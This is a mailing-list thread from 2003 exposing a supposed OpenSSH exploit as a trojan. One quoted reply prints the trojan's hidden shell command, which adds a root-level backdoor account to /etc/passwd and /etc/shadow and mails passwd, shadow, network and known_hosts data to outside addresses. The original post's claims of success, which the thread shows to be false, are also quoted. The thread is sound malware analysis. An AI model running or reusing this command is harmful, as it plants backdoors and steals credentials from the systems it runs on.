Re: new openssh exploit in the wild! * is FAKE AS SH@!*

[Vitaly Osipov <vosipov () tpg com au>]

This means that the original poster (gordon last) made it up himself, because he is saying : 

> > > i looked at this piece of exploit... it is binary so i'am not sure if 
> > > this is a trojan or a backdoor or a virus. but i can't see anything 
> > > strange while sniffing the exploit traffic. and i got root on serveral 
> > > of my openbsd boxes with that. the bruteforcer seems to be very good. 

which is obviously not true. Btw as far as I understand, the troyan code is triggered when 
the "exploit" is run with the offset specified, and not in a "bruteforcing" mode.

W.


> I'll confirm that it does this 


> The script actually opens a socket and connects to the target sshd but 
> does nothing with that connection. 


> It also takes a pretty deep look into /proc/net looking for other 
> networks attached to the device it is run from.... 


> chris 






> On Fri, 2003-09-19 at 20:02, KF wrote: 
> > printf("[*] sending shellcode\n")= 22 
> > popen("(echo "sys3:x:0:103::/:/bin/sh" >> /etc/passwd; echo 
> > "sys3:\\$1\\$nWXmkX74\\$Ws8fX/MFI3.j5HKahNqIQ0:12311:0:9999 
> > 9:7:::" >> /etc/shadow; /sbin/ifconfig -a >/tmp/.tmp;cat /etc/passwd 
> > /etc/shadow /root/.ssh*/known_hosts >> /tmp/.tmp; 
> > find /home -name known_hosts -exec cat {} >> /tmp/.tmp;cat /tmp/.tmp | 
> > /usr/sbin/sendmail -f ownage_at_gmx.de 
> > m0nkeyhack_at_supermarkt.de) &> /dev/null ; rm -f /tmp/.tmp;", "r") = 
> > 0x0804a6b0 
> >
> >
> > -KF 
> >
> >
> > gordon last wrote: 
> > > hi readers, 
> > > while i was staying idle in an so called 0day release channel on one irc 
> > > network some scriptkiddies were 
> > > talking about an new 0day release. 
> > >
> > > in my backlog i can see the following: 
> > > ---cut 
> > > 08:09 [R4lph] *** r3t0r (r4lph_at_xxx) has joined channel #0dayz 
> > > 08:09 [R4lph] 0day: http://www.anzwers.org/free/m0nkeyhack/0d/ 
> > > ---cut 
> > >
> > > i looked at this piece of exploit... it is binary so i'am not sure if 
> > > this is a trojan or a backdoor or a virus. but i can't see anything 
> > > strange while sniffing the exploit traffic. and i got root on serveral 
> > > of my openbsd boxes with that. the bruteforcer seems to be very good. 
> > >
> > > i too looked at "strings theosshucksass" and found nothing suspicious. 
> > >
> > > this exploit seems to be in the wild (underground) since beginning of 
> > > august. 
> > >
> > > thats quite a long time i hope most admins are patching the systems 
> > > now... because the exploit is getting round faster and faster. 
> > >
> > > if anyone can reverse engineer this piece it would be great if he posts 
> > > his resulsts on his list because iam really intressted on the exploiting 
> > > technique used for that bug. 
> > >
> > > i cant get an idea on how to exploit this. 
> > >
> > > hmm... 
> > > regards, 
> > > glast 

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